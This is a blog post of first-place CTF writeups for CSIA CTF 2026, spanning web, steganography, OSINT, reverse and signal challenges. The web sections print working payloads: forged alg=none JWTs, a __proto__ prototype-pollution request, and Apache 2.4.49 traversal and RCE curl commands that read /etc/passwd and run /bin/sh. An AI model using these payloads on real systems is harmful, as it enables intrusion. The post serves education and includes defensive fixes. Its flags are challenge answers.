Post

CSIA CTF 2026 — first place writeups (GHOSTSHELL)

First-place CSIA CTF 2026 writeups for team GHOSTSHELL, covering web exploitation, prototype pollution, JWT issues, Apache RCE, steganography, OSINT, reverse engineering and signal decoding.

CSIA CTF 2026 — first place writeups (GHOSTSHELL)

Overview

CSIA CTF 2026 was solved with team GHOSTSHELL, where we placed first. The public repository contains the detailed per-challenge notes; this post keeps the main technical path for each solved category in one readable place.

Repository source: https://github.com/ALLAKORI/csia-ctf-2026-writeups

Challenge index

CategoryChallengeCore idea
Webno_internetPage source inspection
WebJWT RookieJWT alg=none authentication bypass
WebJWT ConfusionJWT alg=none, then AES-CBC decryption
WebNodeJS AcademyPrototype pollution to bypass admin checks
WebL'Enigme du Code ApogeeApache 2.4.49 traversal and RCE
Forensics / OSINTCase File: Linked TracesWayback pivot and avatar extraction
ReverseCrackme SequenceNumeric sequence delta decoding
SteganographyL3WILILLSB extraction with zsteg
MiscQuadraSignalsBinary signal reconstruction from JSON
OSINTWorld of SportsThe Expanse lore correlation
OSINTThe Hidden ArchiveSplit flag recovery from ZIP output and JSON

Web: no_internet

This was a basic web challenge about checking what the browser receives before trying heavier tooling. The page source contained the flag directly.

1
2
Right click -> View Page Source
Ctrl + F -> CSIA

The same check can be automated:

1
curl -s "https://challenge-url-here/" | grep -oE 'CSIA\{[^}]+\}'

The lesson was simple but important: client-side secrets are not secrets.

Web: JWT Rookie

The login page contained a suspicious comment:

1
<!-- TODO: fix auth bypass before go-live -->

The challenge statement hinted at JWT misconfiguration. A forged unsigned token with alg=none and an admin role was accepted when placed in the session cookie and sent to /dashboard.

1
2
3
4
5
6
7
8
import base64

def b64(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

header = b64(b'{"alg":"none","typ":"JWT"}')
payload = b64(b'{"username":"admin","role":"admin"}')
print(f"{header}.{payload}.")

Fuzzing cookie names and paths found the working pair:

1
2
3
4
5
6
7
8
TOKEN='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.'

for c in token jwt session auth; do
  for p in / /admin /dashboard /profile /flag; do
    curl -s "https://csia-ctf26-jwt-rookie.chals.io$p" \
      -H "Cookie: $c=$TOKEN" | grep -Eo 'CSIA\{[^}]+\}|flag[^<]*|admin[^<]*'
  done
done

Flag:

1
CSIA{jwt_n0n3_alg_byp4ss}

Web: JWT Confusion

The application exposed test credentials in an HTML comment:

1
<!-- dev-note: compte de test non supprime -> etudiant:csia2026 -->

After login, the normal session used RS256, but the server accepted a forged alg=none token with an admin role. The admin page disclosed an encrypted Base64 blob.

The maintenance key came from robots.txt:

1
pr0j3ct-m4int3n4nce

The blob was decrypted with AES-CBC, using MD5(pr0j3ct-m4int3n4nce) as the key and a static IV:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import md5
import base64

ciphertext = base64.b64decode(
    "yJ5BCW8nBTmJu0JluXOf1rJxZJ5V85uEFtFO8IpvP0uRiCna3KdJumcrEgQEgPpp"
)
key = md5(b"pr0j3ct-m4int3n4nce").digest()
iv = b"1234567890abcdef"

print(unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext), 16).decode())

Flag:

1
CSIA{jwt_c0nfus10n_CHDIIIIID_NTA_i}

Web: NodeJS Academy prototype pollution

The application exposed a JSON profile update endpoint:

1
2
POST /api/profile
Content-Type: application/json

The vulnerable pattern was an unsafe merge of user-controlled JSON into a server-side object. Sending __proto__ polluted the prototype chain with admin: true.

1
2
3
4
curl -i -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"admin":true}}' \
  https://csia-ctf26-prototype-pollution.chals.io/api/profile

After pollution, a naive check such as if (user.admin) became true through inheritance.

Flag:

1
CSIA{pr0t0typ3_p0llut10n_m4st3r}

Defensive points:

WeaknessFix
Unsafe object mergeUse hardened merge logic
Dangerous keys acceptedBlock __proto__, constructor, prototype
Inherited property used for authCheck own properties only
Generic objects for untrusted inputUse Object.create(null)

Web: L’Enigme du Code Apogee

The target exposed Apache 2.4.49, which pointed to CVE-2021-41773. Directory fuzzing found admin, backup and cgi-bin.

Traversal test:

1
2
curl -s --path-as-is \
  "https://csia-ctf26-ensa-web-challenge.chals.io/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"

RCE through /bin/sh:

1
2
3
curl -s --path-as-is -X POST \
  "https://csia-ctf26-ensa-web-challenge.chals.io/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  -d "echo;id"

The response confirmed execution as www-data. Web root enumeration found:

1
/var/www/html/backup/config.bak

The backup leaked credentials and a token hash. Source searching revealed a hidden export token:

1
/var/www/html/admin/export/grades.php:$secret_token = 'jury2026';

Flag:

1
CSIA{G00d_LuCk_4t_3NSA_BM_2026}

Steganography: L3WILIL

The challenge image had clean metadata and no useful strings. The hint contained a suspicious 1, suggesting a first bit-plane check.

1
zsteg -a challenge.png

Useful output:

1
b1,rgb,lsb,xy .. text: "44:Q1NJQXtsQjRCNF9DaDRGZXFfSzR5U2xlbV80bGlLMG19"

Extract and decode:

1
2
zsteg challenge.png -E b1,rgb,lsb,xy
echo 'Q1NJQXtsQjRCNF9DaDRGZXFfSzR5U2xlbV80bGlLMG19' | base64 -d

Flag:

1
CSIA{lB4B4_Ch4Feq_K4ySlem_4liK0m}

Misc: QuadraSignals

The archive contained a JSON file with signal measurements and a schematic. Values were only 0 and 5, so I treated them as logic levels.

ValueBit
00
51

Signal_A was the clean bitstream. The solver mapped voltage levels to bits and grouped them into bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import json

data = json.load(open("complex_secret_message.json"))
bits = ""

for row in data:
    bits += "1" if row["Signal_A"] == 5 else "0"

flag = ""
for i in range(0, len(bits), 8):
    byte = bits[i:i + 8]
    if len(byte) == 8:
        flag += chr(int(byte, 2))

print(flag)

Flag:

1
CSIA{vINzWPvSNqSDHQdJBx7c3lPZvoAH7JofJJTM}

Reverse: Crackme Sequence

The file was raw data: no useful strings, no recognized header. Hex inspection showed a regular 16-bit little-endian sequence:

1
2
3
4
5
0x032c
0x032d
0x032e
0x032f
...

The expected sequence increased by +1, but some values were shifted. The shift between actual and expected values encoded printable ASCII:

1
2
3
4
5
6
7
8
9
10
11
12
import struct

data = open("crackme", "rb").read()
vals = list(struct.unpack("<" + "H" * (len(data) // 2), data))
base = vals[0]

for i, v in enumerate(vals):
    expected = (base + i) % 0x400
    diff = (v - expected) % 0x400
    c = diff % 256
    if 32 <= c <= 126:
        print(chr(c), end="")

Flag:

1
CSIA{h1dd3n_1n_7h3_s3qu3nc3}

OSINT: World of Sports

The clues were:

1
2
3
Beratna
Good place for Dusters
mi pensa

Beratna and mi pensa point to Belter Creole from The Expanse. In that universe, people from Mars are called Dusters. The final place had to be a famous Martian location.

Flag:

1
CSIA{Valles_Marineris}

OSINT: The Hidden Archive

The challenge said the secret was split in two parts. ZIP extraction output leaked the second half:

1
Here is the rest of what you are looking for: d4t4_l34ks_99}

Searching tweets.json revealed the first part:

1
"Part 1 is CSIA{Tr4ck1ng_ ..."

Combined flag:

1
CSIA{Tr4ck1ng_d4t4_l34ks_99}

Forensics / OSINT: Case File Linked Traces

The image provided the original handle:

1
justinccase2511

It also said that current profiles were decoys and old cached data should be used. A Wayback Machine pivot against the old Twitter URL exposed a stable internal identifier:

1
"identifier": "1579193231652405248"

That ID mapped the old handle to the current X account:

1
@t0mmyx1a0mi

A timeline screenshot exposed a Tumblr clue. Requesting the high-resolution avatar revealed tiny text at the bottom:

1
https://api.tumblr.com/v2/blog/t0mmyx1a0mi/avatar/512

Submitted CSIA-format flag:

1
CSIA{3v3ryth1ng_has_c0nnecti0n}

Lessons learned

This CTF rewarded methodical triage: inspect client-side data first, treat JWT headers as attacker-controlled, test prototype pollution carefully, and read challenge files as evidence. Across the categories, the useful pattern was to move from broad recon to the smallest verifiable hypothesis, then document the exact command or artifact that confirmed it.

This post is licensed under CC BY 4.0 by the author.